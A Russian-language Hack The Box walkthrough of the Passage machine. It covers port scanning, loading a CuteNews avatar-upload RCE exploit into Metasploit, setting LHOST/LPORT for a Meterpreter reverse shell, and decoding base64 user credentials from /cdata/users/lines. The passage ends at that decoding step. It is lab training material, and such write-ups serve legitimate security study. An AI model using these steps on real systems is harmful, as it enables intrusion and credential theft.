Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
В этой статье мы пройдем машину Passage с популярного сервиса Hack The Box и проэксплуатируем уязвимость в CMS CuteNews. Заодно научимся добавлять эксплоиты в базу Metasploit Framework, потренируемся в поиске важных для развития атаки файлов и узнаем, что такое D-Bus и как повысить привилегии с помощью USBCreator.
Подключаться к лабораторной машине будем через VPN. Рекомендую не подключаться с рабочего компьютера или с хоста, где есть важные для тебя данные, так как ты попадешь в одну частную сеть с людьми, которые что‑то да умеют в области ИБ. ?
warning
Вся информация предоставлена исключительно в ознакомительных целях. Ни редакция, ни автор не несут ответственности за любой возможный вред, причиненный в результате использования знаний и методов, описанных в статье.
Машина имеет IP-адрес 10.10.10.206, который я добавляю в /etc/hosts
, чтобы можно было обращаться к хосту по имени.
10.10.10.206 passage.htb
Любая атака начинается со сканирования открытых на хосте портов. Это необходимо для того, чтобы атакующий узнал, какие службы принимают соединение. Исходя из полученной информации, можно выбирать путь для получения точки входа и опоры. Я это делаю с помощью следующего скрипта, который использует утилиту Nmap и принимает один аргумент — адрес сканируемого хоста.
Сначала скрипт использует Nmap, чтобы сделать обычное быстрое санирование. Затем он парсит все порты из вывода и повторяет сканирование только обнаруженных портов с использованием имеющихся скриптов (опция -A
).
#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr 'n' ',' | sed s/,$//)nmap -p$ports -A $1
Результат работы скрипта
Мы имеем две службы — SSH (порт 22) и веб‑сервер Apache (порт 80). На SSH нам ловить нечего, так как единственное, что там можно делать, — это брутфорсить учетные данные. Брутфорс — последнее дело. Поэтому нам остается искать точку входа на сайте. Перейдя на сайт, легко определяем систему управления контентом — CMS CuteNews.
Powered by CuteNews
Первым делом стоит проверить, есть ли для обнаруженной CMS уже готовые эксплоиты. Лучший способ это установить — поискать на сайтах вроде HackerOne, exploit-db, а также GitHub. Но если ты используешь специальный дистрибутив вроде Kali Linux, то база эксплоитов Exploit-DB уже у тебя на диске. Для удобной работы с данной базой можно использовать утилиту searchsploit, также предустановленную в дистрибутиве. Именно с помощью ее мы и находим ряд эксплоитов.
searchsploit cutenews
Эксплоиты, найденные searchsploit
Так как мы не знаем версию CMS на атакуемом хосте, то следует выбрать эксплоит для более поздней (2.1.2). Лучше всего для нас, если отработает тот, который даст выполнение кода — RCE. Пометка Metasploit означает, что этот эксплоит уже выпущен для Metasploit Framework.
Суть эксплуатируемой уязвимости в том, что при изменении аватарки профиля мы можем загрузить не только изображение, но и файл с расширением .php. К файлу затем можно обратиться, и это приведет к выполнению на сервере кода, содержащегося в метаданных файла‑изображения.
Так как в поставку Metasploit Framework этот эксплоит не входит, его нужно добавить в базу. Для начала получим полный путь к файлу эксплоита (опция -p
позволит сохранить полный путь к файлу сразу в буфер обмена), а затем копируем в директорию с эксплоитами.
Добавление файла эксплоита в Metasploit Framework
Авторы допустили ошибку: не хватает запятой. Откроем файл эксплоита и добавим ее, как указано на скриншоте ниже.
Исправление ошибки в исходном коде эксплоита
В register_options
содержатся параметры, с которыми запускается эксплоит. К примеру, в данном случае нам нужно знать путь к базовой директории CMS, а также учетные данные пользователя.
Параметры эксплоита
В качестве значения параметра TARGETURI
по умолчанию используется /CuteNews
. Перейдя к этой странице на сайте, получим форму авторизации. Нам нужно зарегистрировать нового пользователя, именно его учетные данные мы и будем использовать при запуске эксплоита.
Форма авторизации CuteNews
Теперь, когда мы исправили ошибки в эксплоите и получили все необходимые данные для его работы, командой reload_all
обновим базу Metasploit Framework, чтобы загрузить только что добавленный эксплоит.
Обновление базы Metasploit Framework
После успешного обновления базы загружаем наш эксплоит, задаем значения параметров и выполняем.
use exploit/46698
set username [имя зарегистрированного пользователя]
set password [пароль зарегистрированного пользователя]
set LHOST [наш IP-адрес]
set LPORT [локальный порт для прослушивания]
set RHOSTS [адрес цели]
run
Подключение к хосту с помощью эксплоита в среде Metasploit Framework
В отчете наблюдаем успешные подключение, авторизацию, загрузку файла на сервер и запуск нагрузки, что в итоге приводит нас к шеллу Meterpreter. Командой getuid
проверяем, в контексте какого пользователя мы работаем. В данном случае у нас контекст учетной записи службы веб‑сервера: пользователь www-data
.
Так как на хосте развернут веб‑сервер, а на нем работает целая CMS, то первое наше действие — попробовать получить какие‑нибудь пользовательские учетные данные. Высока вероятность, что эти учетки подойдут и для локальных пользователей тоже. В случае с CuteNews нас интересует директория /cdata/users
.
Содержимое директории /cdata
Здесь должны находиться файлы users.txt
и lines
. Как раз второй представляет для нас интерес.
Содержимое директории /cdata/users
Содержимое файла lines
Текст закодирован с помощью Base64. Немного преобразуем файл: исключим из него все строки, которые содержат подстроку php
(это позволит оставить только закодированные строки), и легко декодируем оставшиеся прямо в командной строке.
cat lines | grep -v php | base64 -d
Декодирование строк из файла lines
Источник: xakep.ru